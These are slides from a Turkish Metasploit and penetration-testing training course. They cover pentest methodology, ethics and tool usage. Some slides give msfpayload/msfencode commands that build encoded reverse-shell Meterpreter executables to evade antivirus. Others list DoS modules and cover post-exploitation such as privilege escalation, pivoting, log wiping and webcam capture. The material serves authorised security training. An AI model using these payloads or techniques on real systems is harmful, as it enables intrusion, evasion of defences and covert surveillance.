10. @BGASecurity
BGA | MetasploitLab. Ortamı
• İşletim sistemleri, vmware veya virtualbox sanallaştırma ortamlarında kullanılacaktır.
• Win2k8, Win2k3, Win7, Winxp, Linux, FreeBSD, MacOSX işletim sistemleri lab. ortamında kuruludur.
• Çalışmalar, Backtrack5 R2 dağıtımı üzerinde yapılacaktır.
• Switc ve router ihtiyaçları için gns3lab kullanılacaktır.
11. @BGASecurity
BGA | MetasploitEğitim İçeriği
• Exploit Nedir ?
• Exploit Türleri
• Örnek Exploitler
• Exploit Frameworkleri
• Payload Nedir?
• Shellcode Nedir ?
• Encoder Nedir ?
• Nop Nedir ?
• Auxiliary Nedir?
• Metasploit Framework Projesi
• Metasploit Kurulumu
• Gelişmiş Payload ve Eklenti Modülleri
• Auxiliary Modülleri
• Metasploit Araçlarını Anlamak
• Metasploit Framework ile Pen-Test
• Dradis Framework
• Client Side Saldırı Yöntemleri
• Exploit Sonrası Sistemde Nasıl İlerleriz ?
• Erişimi Sürdürme Yöntemleri
• İleri Metasploit Kullanımı
• Metasploit Ötesi Hacking Araçları
12. @BGASecurity
BGA | MetasploitKontrol Listesi
• Vmware (workstation veya player ) kurulumu
• DHCP ile IP Adresi alındı mı ?
• İfconfig -a
• İnternet bağlantınız var mı ?
• Ping www.google.com
• Windows kullanıcıları vmware yazılımını administrator hakları ile Linux kullanıcıları root yetkileri ile
çalıştırdı mı ?
18. @BGASecurity
BGA | MetasploitVA Neden Yetersizdir?
• Otomatize araçlar kullanılarak gerçekleştirildiği için gerçek riski ortaya çıkarmaz
• Saldırgan sisteminize ne zarar verebilir sorusunu cevaplayamaz!
• Test edilen sistem/bileşenler arasında ilişki kuramaz
• Firewall’daki X portu açık, Y sisteminde Z zaafiyeti var.
• X portundan Y sistemine erişilip sistem ele geçirilebilirken VA sistemi her iki zaafiyeti farklı farklı bildirir.
• Çeşitli sebeplerden dolayı hatalı sonuçlar üretebilir
• Varsayılan ayarlarla kullanıldığında false negative oranı artar
• Kötü adamlar nessus kullanmaz
• Bir saldırganın ağınıza yönelik neler yapabileceğini göstermez.
• Bileşenler arası güven ilişkilerinin nasıl kötüye kullanılacağını
göstermez.
• False positive ihtimali yüksektir.
• Elle doğrulanması gerekir.
• Sınırları belirlidir.
• Tek bir sisteme yöneliktir, bir sistemden başka sistemlere etkiyi
göstermez.
• VA pentest için bir baseline sağlar.
25. @BGASecurity
BGA | MetasploitPentest Hakkında Eksik/Yanlış Bilinenler
• Pentest yaptırmak sistemlerin güvenliğini arttırır
• Dolaylı yoldan arttırır
• Pentes'i bir kere yaptırmak yeterlidir
• Pentest çalışmasını iç kaynak kullanarak yaptırmak daha güvenlidir
• Pentest hackerların ne bulabileceğini bize gösterir
• Hackerların sınırı yoktur, kapsamı yoktur
• En önemli sistemlerimi pentestden geçirmek yeterlidir.
27. @BGASecurity
BGA | MetasploitPentest Paradox
• Pentest sonuçları iki taraftan birini mutlu diğerini mutsuz edecektir.
• Pentest çalışmalarını bir challenga dönüştürmemek lazım.
• Pentest'de amaç gerçek riskin ortaya çıkarılmasıdır. Bulunan açıklar pentest firmasını sevindirdiği kadar
firmayı da sevindirmeli (başkaları bulmadan önce bulduk diye)
• Pentest sonuçları %100 güvenilir değildir.
• Pentest ekiplerinin moral ve motivasyonu Pentest amacı üstte tutularak devamlı kontrol edilmeli ve moral
depolanmalı
32. @BGASecurity
BGA | MetasploitMeslek Olarak «Pentest»
• Zengin işi(!)
• Zor aynı zamanda zevkli
• Bitmek bilmeyen bir okuma ve deneme serüveni
• Sistem/ağ admin = %20 araştırma %80 operasyon
• Pentester = %80 araştırma %20 operasyon
• En az bir konuda uzmanlık(Networking, DB, development, system adm. …) gerektirir
• Her konuda uzmanlaşmak mümkün değildir
• Uzmanlık: Ortalama 4-5 yıl bir konu üzerinde çalıştıktan sonra kazanılır
• Araçlar hayat kurtarıcıdır ama herşey değildir!
• Perl, Python, Ruby gibi programlama dillerinden birine hakimiyet.
33. @BGASecurity
BGA | MetasploitPentest Ekipleri Nasıl Olmalı?
• Pentest ekip işidir
• En az üç kişiden oluşmalıdır
• Proje yöneticisi (+bir konuda uzman)
• Yedekli çalışma(1+1)
• Her konuda uzman kişi bulmak imkansız
• Web+veritabanı+networking+exploit geliştirme+….
• Tek kişiden oluşan pentest ekipleri çok kabul görmez
• Türkiye’de genellikle tek kişilik pentest ekipleri iş yapar
• Ekip çalışmalarında mutlaka bir metodoloji takip edilmeli
• Ekiplerin çalışma süresince bulgularını paylaşacakları ortam/yazılım gereksinimi
• Dradis pentest framework gibi.
• Red team blue team vs tiger team
35. @BGASecurity
BGA | MetasploitPentest Ekibi Özellikleri
• En önemli bileşen etik değerlere olan bağlılıktır.
• Etik>Bilgi değerlidir.
• Ekiplerin pentest çalışması ve edinilen bilgilerle ilgili hassasiyeti çok derin olmalı.
• Kötü örnek: pentest çalışmasında e-posta listelerine gönderilen maillerde firmaya ait bilginin bulunması.
• Pentest yöneticisinin onayı olmadan pentest kapsamıyla ilgili LAN haricinde bilgi paylaşımının
gerçekleştirilmemesi.
• 3-4 kişilik ekip olabilir. Gerektiğinde bilgi olarak danışılabilecek dışardan uzmanlar...
• Pentest ekiplerinin ön bir eğitimden geçmesi gerekir. (Teknik olarak değil)
43. @BGASecurity
BGA | MetasploitPentest Öncesi Yapılması Gerekenler
• Firewall, ips den izin
• Zorunlu değildir
• Firmanın kalitesi ölçülmek isteniyorsa Firewall/IPS ‘den «özel» izin verilmemelidir
• Şirket içi bilgilendirme mailleri toplantisi ve kontaklar
• Kapsam belirleme amaçlı toplantılar
• Pentest yapılacak zaman dilimlerini belirleme
• DDoS testleri gece saatlerinde gerçekleştirilmeli
• Kişisel firewall/güvenlik sistemlerinin devre dışı bırakılması
47. @BGASecurity
BGA | MetasploitFull Scope Pentest(a.k.a Hack Us!)
• Pentest gerçekletirecek firmaya sadece firma isim ve ana sayfa bilgisi verilir.
• Süre kısıtlıdır
• Amaç tüm bilgiler ve sistemler kullanılarak internet üzerinden sisteme sızma gerçekleştirilebiliyor mu
sorusunun cevabını bulmak
• Amaç açıklık bulmak değil, bulunan açıklıklardan sistemlere sızma deneyimleridir
• Raporu diğer pentest çalışmalarına göre daha kısa olur
• Gereksiz detaylar çıkarılarak sadece sisteme sızmaya izin verecek bileşenler yazılır
51. @BGASecurity
BGA | MetasploitPentest’de Yapılmayacaklar Listesi
• Brute force denemelerini dikkatli gerçekleştirmek gerekir.
• Hesap kitleme riski olan yerlere yönelik brute force denemeleri kontrollü gerçekleştirilmeli
• Sistemlerde bulunan açıkları istismar için exploit çalıştırmadan önce test sistemlerinde mutlaka
denenmeli
• Bazı exploitler sistemin çalışamaz hale gelmesine neden olabilir
• MITM denemeleri
• İzin almadan gerçekleştirilecek MITM denemeleri networkün çalışmas hale gelmesine neden olabilir
• Test kapsamında dışardan firma izni olmadan üçüncü partileri teste dahil edip sistemlere erişim izni
vermek
53. @BGASecurity
BGA | MetasploitPentest Lab İhtiyacı
• Pentest çalışmalarında riskli denemeler için lab ortamının hazır olması gerekir.
• BGA Pentest lab ortamında 45 adet makine bulunmaktadır.
• Bu makineler her tür işletim sistemi ve yazılımın sürümlerini içermektedir.
• Bir sürümdeki zafiyet önce lab ortamında denenir ve sisteme zarar vermediği belirlenirse gerçek
ortamlarda denenir.
56. @BGASecurity
BGA | MetasploitMetodoloji
• Pentest sonuçlarında firmanın size olan güvenini arttırmaya yarar.
• Neleri nasıl kontrol ettiğinizin belgesidir.
• Kötü örnek: neleri kontrol ettiği bilinmiyor ortada birşey yok
• Neleri kontrol ettiği biliniyor ve ortada birşey yok (daha güvenilir bir rapor)
• Pentest gerçekleştirilen firmanın bilgi seviyesini sorgulamak pentest aşaması veya rapor zamanında
yapılmaz
• Başka firmalardan alınacak metodolojiler geliştirilebilir.
• Yaşayan bir döküman olmalı
63. @BGASecurity
BGA | MetasploitPremature Termination
• Pentest çalışmasının belirlenenden önce bitirilmesine neden olabilir?
• Çalışmalar kapsamında networksel ve sistemsel problemlerin oluşması
• IDS vs sistemlerinde ciddi alarmların üremesi
• Sistemlerdeki kişilere gereksiz onlarca mailin gitmesi
• Sisteme girdiğinizi bilen firmanın tamam yeter demesi
• Sisteme girdiğinizde sisteme daha önceden birilerinin girdiğinin farkedilmesi!!
• Acil açıklık keşifleri
• Firma tarafında gerçekleştirilebilecek sistem çalışmaları
68. @BGASecurity
BGA | MetasploitExploit Nedir?
• Exploit (Ingilizce to exploit - kötüye kullanmak) bir bilgisayar programı veya bir script, bilgisayar
programlarında bulunan zayıflık veya hatalar için kullanılır.
• Vikipedia
http://en.wikipedia.org/wiki/Exploit_(computer_security)
• Teknik olarak , pentest çalışmalarında ya da siber saldırılarda varolan bir güvenlik zafiyetini istismar
ederek sisteme sızmaya yol açacak yazılım/script.
73. @BGASecurity
BGA | MetasploitCommand Execution Exploits
• Daha çok web uygulamaları için kullanılan bir kavram.
• Web uygulamasındaki bir güvenlik zafiyetini işletim sisteminde komut çalıştıracak şekilde istismar etme.
• Web uygulamalarının sadece web /uygulama katmanını değil tüm sistemi etkileyeceğinin en önemli
örneklerindendir.
• Web uygulamaları harici genel uygulamalarda da görülebilir fakat günümüzde bu oran istisna denilecek
kadar azdır.
74. @BGASecurity
BGA | MetasploitUygulama| Command Execution Exploit
• Hedef sistem DVWA
• Amaç: Linux ve Windows sistemlerde kod çalıştırma açıklıklarının istismar edilmesiyle işletim sisteminin
ele geçirilebileceğinin gösterilmesi.
• Windows sistemlerle Linux sistemler arasında temel bazı farklar bulunmaktadır
• Linux sistemlerde Apache sıradan bir kullanıcı hakkıyla çalışır
• Windows sistemlerde yetkili kullanıcı hakkıyla çalışır
• İnternette kod çalıştırma açığı barındıran siteler “Google dorks” yardımıyla bulunabilir.
75. @BGASecurity
BGA | MetasploitSql Injection Exploits
• Sqli barındıran sistemlere yönelik gerçekleştirilen ve amacı hedef sistemde arka kapı oluşturmak, hedef
sistemden bilgi almak olan saldırı tipi.
• Genellikle sqlmap, havij,pangolin gibi araçlar kullanılır.
• Başarılı bir saldırı sonrası SQLi üzerinden hedef sistem ele geçirilebilir.
78. @BGASecurity
BGA | MetasploitExploit Araştırma Kaynakları
• Exploitler iki şekilde elde edilebilir:
• Google ve benzeri arama motorları kullanarak genele açık, yayınlanmış exploitler bulunabilir.
• Sadece belirli kişilerin üye olabileceği underground forumlarda, IRC odalarında ve dışa kapalı e-posta listelerinde
• Değerli exploitler genellikle genele açılmadan önce 2-3 aylık bir satış –özel kullanım- süreci yaşarlar.
• Exploit sat-al işlemi ciddi paralar kazandıran bir ticaret biçimidir.
82. @BGASecurity
BGA | MetasploitGoogle ?
• Bazı exploitler exploit-db ve securityfocus’da olmayabilir
• Bu tip exploit aramalarında en sağlıklı yollardan biri Google’a sormaktır
• Bind DOS açıklığı exploiti araştırması
• Internetten indirilecek her exploit güvenilir midir?
• Örnek:
83. @BGASecurity
BGA | MetasploitSahte Exploit Kavramı
• Ava giderken avlanma!
• Exploit vs gibi konularda yeterli bilgi sahibi olmayan meraklı “hacker”ları kandırmak ve sistemlerini ele
geçirmek amacıyla –genellikle eğlence amaçlı- gerçekleştirilir.
• Exploit kodu (payload kısmı) genellikle hex encode edilerek verilir.
• Exploit çalıştırıldığında çalıştığı sistemi silebilir, başka sistemlere bilgi taşıyabilir.
86. @BGASecurity
BGA | MetasploitExploit Çalıştırma
• Script tabanlı exploitler
• Python, Perl ile yazılmış exploitler
• C/C++ dilleri ile yazılmış exploitlerin çalıştırılması
• Her exploitin çalıştırılmaıs için gerekli komut satırı parametreleri farklıdır.
• Her sistem, her sistemde yüklü olan yama seviyesine göre farklı exploit çalıştırmak gerekebilir.
• Script tabanlı exploitlerin payloadları genellikle iki tane olur (bind TCP, reverse TCP)
87. @BGASecurity
BGA | MetasploitExploit Geliştirme/Çalıştırma
• Exploit geliştirme ve çalıştırma birbirinden farklı işlemlerdir
• Exploit geliştirme ve güvenlik zafiyet bulma birbirinden farklı uzmanlık isteyen konulardır.
• Exploit geliştirme günümüzde işletim sistemlerinin getirdiği ek korumalar (geliştirme kütüphanelerinin
de) sayesinde oldukça zor bir hale getirilmiştir.
• Exploit çalıştırma en basit işlemdir.
• Oku, izle, kur çalıştır!
91. @BGASecurity
BGA | MetasploitOtomatik Exploit Çalıştırma Eksileri
• Hangi durumlarda otomatik exploit çalıştırma araçları avantajlı/dezavantajlı olur?
• Özellikle local exploitlerde (Linux kernelini ilgilendiren) metasploit için geliştirilmiş exploit yoktur.
• Bu durumda internet üzerinden araştırma yapılarak bulunabilir.
• Exploitin indirileceği site herhangi bir site olmamalıdır (sahte exploitlere önlem olarak)
101. @BGASecurity
BGA | MetasploitMetasploit Framework Projesi
• Metasploit Framework projesi exploit teknikleri ile
istismarları hakkında bilgi sağlamakta.
• Oluşturduğu yapı ile güvenlik denetçilerine, IDS imza geliştirme ve istismar araştırmaları yapan
uzmanlara, hackerlara faydalı bilgiler vermekte ve exploit geliştiricileri için bir çatı oluşturmaktadır.
• Metasploit bir toplum projesi Metasploit LLC tarafından
yönetilmekteydi.
• Rapid7 firmasına satıldıkdan sonra Pro ve Community sürümleri ile devam etmektedir.
103. @BGASecurity
BGA | MetasploitMetasploit Framework | Özellikleri
Özellikleri ;
• Community ve Pro sürümleri bulunmakta.
• 800 exploits - 435 auxiliary - 134 post -246 payloads – 27 encoders - 8 nop bulunuyor
• Çok farkli türde payload’lar kullanilabiliyor
• Meterpreter
• VNC DLL Injection
• Binary Upload
• PassiveX
• Çok sayida farkli encoder kullanilabiliyor; alpha2, Pex, Shikata Ga Nai, Sparc, Countdown,
JpmCallAdditive, PexFnstenvSub
• Konsol (msfconsole), program arayüzü(msfgui) ve web arabirimi (msfpro) bulunuyor.
• Farklı işletim sistemlerinde (Linux, Windows,Mac OS X) çalışabiliyor.
104. @BGASecurity
BGA | MetasploitMetasploit Framework | Kurulum
• Metasploit Framework (MSF), Windows işletim sistemleri de dahil olmak üzere, geniş bir yelpazede çalışır.
• Windows 2000/XP/2003, Linux, OpenBSD, FreeBSD ve Mac OS X işletim sistemlerini destekler.
Windows İşletim Sistemlerine Kurulumu Metasploit Framework ün kurulumu son derece basittir.4 adımda
kurulumunu gerçekleştirebilirsiniz.
http://www.metasploit.com/framework/download/ adresinden en son sürümünü bilgisayarınıza
indirerek kurulumu başlatabilirsiniz.
Next > Next > Next > Next > Next > Finish
NOT: Nmap ve Winpcap programları, Metasploit ile birlikte
gelmektedir.Sisteminizde mevcut değilse kurmanız önerilir.
105. @BGASecurity
BGA | MetasploitMetasploit Framework | Kurulum
Linux için kurulum
Metasploit Framework ün Linux tabanlı işletim sistemlerine
kurulumu farklılık göstermektedir.
Metasploit Framework’ün Ubuntu/Kubuntu Linux için Kurulumu:
https://community.rapid7.com/docs/DOC-1296
Metasploit Framework’ün Android için Kurulumu:
https://community.rapid7.com/docs/DOC-1039
Metasploit Framework’ün Iphone için Kurulumu:
http://dev.metasploit.com/redmine/projects/framework/wiki/Install_iPhone
Mac OS X için Kurulum
https://community.rapid7.com/docs/DOC-1037
106. @BGASecurity
BGA | MetasploitMetasploit Framework | Güncelleme
• Metasploit hızla gelişen bir araçtır.
• Hergün, her saat yeni güvenlik açıkları keşfedilmekte ve bunları sömüren kodlar yazılmaktadır.
• Yeni payload ,encoder, exploit, ve NOP hazırlandığında metasploiti update ederek
kullanabilirsiniz.
120. @BGASecurity
BGA | MetasploitMetasploit Araçlarını Anlamak
Metasploit , birden fazla araç ile arayüz kullanımı sağlar.Bu
araçlar farklı şartlar ve durumlarda yüksek derecede
esneklik sağlar ;
• Tek bir kullanıcı, tek bir hedef sömürme
• Bir kullanıcının bir oturum sırasında birden çok hedefi,
• Toplu iş modunda yönetebilmesi
• Aynı anda birden fazla oturum açma
• Payload oturumlarını askıya alma ve yenileme
• Başka kullanıcılar ile Payload oturumlarını paylaşma
• Güvenlik denetimi yapan grubun aynı ağda veya farklı ağlarda iş birliği
121. @BGASecurity
BGA | MetasploitMsfgui
• Metasploit 3.x ile birlikte gelen arayüzdür.Msfgui ile birlikte exploitler , payloadlar, auxiliaryler
kullanılabilir.
• Msfgui başlatmak için Windows sistemlerde Programs | Metasploit 3 | Metasploit 3 GUI bağlantısı
izlenerek erişim kurulabilir.
• Unix türevi sistemlerde msfgui’ye erişim için metasploit framework’un kurulu olduğu dizine gidilerek
“msfgui” komutu ile metasploit arayüzü başlatılabilir ve “-h” parametresi ile seçenekler listelenebilir.
131. @BGASecurity
BGA | MetasploitMsfconsole | Temel Komutlar
Temel Komutlar
==============
Komut Açıklama
------- --------------
? Yardım menüsü
Back Mevcut seçenekten bir adım geriye döner
banner Metasploit açılış bannerlarını gösterir
Cd Dizin atlamak için kullanılır
color Renk seçeneklerini ayarlar
connect Uzak bir sunucuya bağlantı kurar
exit Konsoldan çıkışı sağlar
Help Yardım menüsü
info Bir veya daha fazla modul hakkında bilgi verir
irb İrb scripting modunu getirir
Jobs Yapılan işleri gösterir ve düzenler
kill Çalışan bir görevi öldürür.
Load Framework için eklenti yükler
Loadpath Belirtilen yoldan istenilen modulu/exploiti yükler
makerc Başlangıçtan itibaren kullanılan komutları bir dosyaya yazar
quit Konsoldan çıkışı sağlar
route Oturumun trafik rotasını belirler
Save Etkin veriyi kayıteder, depolar
Set Ayarların konfigure edilmesinde kullanılan atama komutu
setg Genel bir değer, değişken atar
show Belirtilen modülü veya tüm modülleri listeler
Sleep Verilen zaman içinde uyku moduna geç, birşey yapma
Unload Framework için mevcut eklentiyi kaldırır
unset Atanan değeri kaldırır
unsetg Yapılan genel bir değeri, değişkeni kaldırır
use Modülü seçer
Version Konsol uygulamasının versiyonunu gösterir
search Modül ismi veya açıklamalarda arama yapar
sessions Aktif oturumları gösterir ve oturum bilgisi verir
143. @BGASecurity
BGA | MetasploitMsfconsole | Auxiliary | SMB Version Belirleme
• SMB Version Detection modülü, işletim sistemi hakkında bilgi sağlar. 445. porttan çalışan smb servisinden hedef işletim sisteminin
versiyon bilgisini alır.
• Bu bilgi, hedef sisteme saldırı öncesi exploit ve payload seçiminde faydalı olacaktır.
• Hedefte bir Linux çalışıyorsa, Samba versiyonunu tespit edecektir.
144. @BGASecurity
BGA | MetasploitMetasploit Aux DoS Modülleri
• Metasploit kullanarak DoS saldırısı gerçekleştirme/deneme çalışmaları
• Örnek Aux modülleri
• use auxiliary/dos/tcp/synflood
• use auxiliary/dos/wifi/ssidlist_beacon
• use auxiliary/dos/wifi/fakeap
152. @BGASecurity
BGA | MetasploitMsfconsole | Exploit Arama
• Örnek arama kriterleri ;
- Multiple
Birden fazla kritere göre arama yapabilirsiniz, bu sayede arama
sonucu daraltmış olursunuz.
msf > search cve:2011 author:jduck platform:linux
158. @BGASecurity
BGA | MetasploitMsfconsole | Payload Seçimi
“İnfo” komutu ile seçilen payload için gerekli seçenekler ve varsayılan olarak atanan değerler listelenir.
Payload seçimi için “set PAYLOAD payload_adı” komutu kullanılır. Örnekte kullandığımız VNC Inject
payloadı için bu komut “set PAYLOAD windows/vncinject/reverse_tcp” şeklinde olucaktır.
164. @BGASecurity
BGA | MetasploitMsfcli
Msfcli kullanılarak bir hedefi istismar etmek için kullanılacak en basit yol;
1. ./msfcli <exploit_adı> S = Seçilen exploit hakkında bilgi verir.
2. ./msfcli <exploit_adı> P = Seçilen exploit için kullanılabilir payloadları listeler.
3 . ./msfcli <exploit_name> PAYLOAD=<payload_adı> O = Exploit için gerekli seçenekleri listeler
4. ./msfcli <exploit_name> PAYLOAD=<payload_adı> T = Exploitin uygulanabileceği hedefler
5. Kullanılacak exploitler için seçenekleri ve değerlerini belirttikden sonra E parametresi ile exploit
çalıştırılır.
169. @BGASecurity
BGA | MetasploitMsfpayload
• Msfpayload aracı, metesploitde kullanılan payloadları derlemek için kullanılır.
• Exploit geliştiricileri exploit yazarken, payloadlarada ihtiyaç duyarlar bu noktada msfpayload exploit
geliştiricileri için bulunmaz nimettir.
• Metasploit’in msfpayload aracı sayesinde istenilen payloadın çıktısı C , Perl, Ruby, Raw, Javascript, VBA ve
exe olarak alınabilir.
178. @BGASecurity
BGA | MetasploitMeterpreter
• Meterpreter , Meta-Interpreter ‘in kısaltılmışıdır.
• Modül destekli üst düzey bir payload’tır.
• Açık kaynak kodlu kolayca geliştirilebilir, kendi eklentilerinizi geliştirmenize izin verir ve DLL olarak yeni
modüller eklenebilir.
• Meterpreterin çalıştığı sistemlerde anti-virüs yazılımları, nids tarzı yazılımlardan korunmak için içerik
dahili kriptolama özelliği mevcuttur.
180. @BGASecurity
BGA | MetasploitMeterpreter
Varsayılan Meterpreter Komutları ;
Komut Açıklama
-------- ------------
use Bir veya daha fazla eklenti yüklemek için kullanılır.
loadlib İstismar sürecinde yeni bir kütüphane yüklenebilir.
read Uzak sistemden veri okur
write Uzak sisteme geçerli kanal üzerinden veri yazar
close Kanalı kapatır.
interact Kanalda interaktif bir oturum başlatır.
initcrypt İstemci ve sunucu arasındaki iletişim için bir keyfi şifreleme algoritması oluşturur.
? Yardım neüsü
background Geçerli oturumu arkaplana gönder
bgkill Arkaplanda çalışan meterpreter scriptini öldür
bglist Arkaplanda çalışan scriptleri listele
bgrun Meterpreter scriptini arkaplanda çalıştır
channel Aktif oturum hakkında bilgi ver.
close Aktif oturumu kapat
detach Meterpreter oturumunu sonlandır (http/https için)
disable_unicode_encoding unicode strings kodlamasını kapat
enable_unicode_encoding unicode strings kodlamasını aç
exit Tüm meterpreter oturumlarını sonlandır.
181. @BGASecurity
BGA | MetasploitMeterpreter | Temel Komutlar II
Temel Komutlar
=============
Komut Açıklama
------- -------------
help Yardım menüsü
info Bir post module hakkında bilgi ver
interact Kanal ile etkileşim
irb irb script moduna geç
load meterpreter scriptlerini yükle
migrate Bir başka prosese bulaş
quit meterpreter oturumunu sonlandır
read Oturumdan veri oku
resource Dosyadan komut dizisi al
run Meterpreter script veya post modülü çalıştır
use ‘load’ komutu ile aynıdır.
write Kanal üzerinden bir veri yazar.
194. @BGASecurity
BGA | MetasploitPassiveX
Metasploit Framework’de bulunan üst düzey payload’lardan bir diğeride PassiveX dir.
Hedef sistem bir Firewall arkasındaysa ve firewall http protokolünü bloklamadıysa fakat Nat yapıyorsa
hedefe yönelik bağlantı girişimi başarısız olacaktır. Bu noktada PassiveX payloadı kullanılarak http
protokolü üzerinden ters bağlantı yapılarak firewall aşılır ve hedef ile oturum kurulur.
PassiveX payloadı ile süreç şöyle başlar;
- PassiveX payload’ı ile hedefin registry kaydı değiştirilir ve İnternet Explorer başlatılır.
- İstenen DLL , ActiveX objesi olarak yüklenir.
- Tüm iletişim http protokolü üzerinden yapılır.
- Meterpreter ve VNC DLL injection injection için kullanılabilir.
195. @BGASecurity
BGA | MetasploitPassiveX
PassiveX Payloadları
İsim Açıklama
-------- ------------
windows/exec/reverse_http Tunnel communication over HTTP and executean arbitrary command
windows/shell/reverse_http Tunnel communication over HTTP and spawn piped command shell
windows/meterpreter/reverse_http Tunnel communication over HTTP and inject the meterpreter server DLL
windows/upexec/reverse_http Tunnel communication over HTTP and uploadan executable and runs it
windows/vncinject/reverse_http Tunnel communication over HTTP and inject the VNC server DLL and run it
from memory
199. @BGASecurity
BGA | MetasploitMsfencode
• Encoder Kullanımı
• Shellcode’u msfpayload ile raw formatında msfencode a aktarıp içeriği encode edebilirsiniz.
Metasploit’de bulunan güçlü encoder’lar ile içerik antivirus, content fitler, ids/ips sistemleri tarafından
tanınmaz hale getirilebilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=6.6.6.112
LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t exe -o
/var/www/payload.exe
200. @BGASecurity
BGA | MetasploitMsfencode
• Multi-Encoder Kullanımı
• Payload içeriği bir çok encoder ile değiştirilerek yeniden oluşturulabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=6.6.6.112
LPORT=4443 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw |
msfencode -e x86/alpha_upper -c 2 -t raw | msfencode –e
x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 –t
exe -o /var/www/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
…..
221. @BGASecurity
BGA | MetasploitExploit Sonrası Sistemde İlerleme
Post exploitation olarak da adlandırılır.
Amaç herhangi bir güvenlik zafiyeti kullanarak sisteme gerçekleştirilen yetkisiz, düşük yetkili bir kullanıcı
haklarıyla sistemi ele geçirme, sistemi ara geçit olarak kullanarak başka sistemlere atlama.
Bu bölüm, exploit sonrası uzak sistemde ilerleme,gizleme ve kayıtları silme yöntemlerinin anlaşışması ve
uygulanmasını içerir.
222. @BGASecurity
BGA | Metasploitİçerik
1. Yetki Yükseltme
2. Hashdump
3. Parola Kırma (jonh the ripper)
4. Başka Bir Uygulamaya Bulaşmak
5. Pivoting
6. Memorydump
7. Uzak Masaüstü Bağlantısı Başlatmak
8. Hedefin Canlı Oturumuna Geçiş
9. İz Temizleme
10. Trafik Dinleme (Packet Sniffing)
11. Ekran Görüntüsü Yakalama
12. Ses, Webcam Görüntüsünü Yakalama
225. @BGASecurity
BGA | MetasploitYetki Yükseltme
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to ‘0ʹ).
0 : All techniques available
1 : Service – Named Pipe Impersonation (In Memory/Admin)
2 : Service – Named Pipe Impersonation (Dropper/Admin)
3 : Service – Token Duplication (In Memory/Admin)
4 : Exploit – KiTrap0D (In Memory/User)
233. @BGASecurity
BGA | MetasploitPivoting | Portfwd
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
meterpreter > portfwd add -l 3389 -p 3333 -r 127.0.0.1
[*] Local TCP relay created: 0.0.0.0:3389 <-> 127.0.0.1:3333
240. @BGASecurity
BGA | MetasploitTrafik Dinleme (Packet Sniffing)
meterpreter > use sniffer
Sniffer Komutları
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface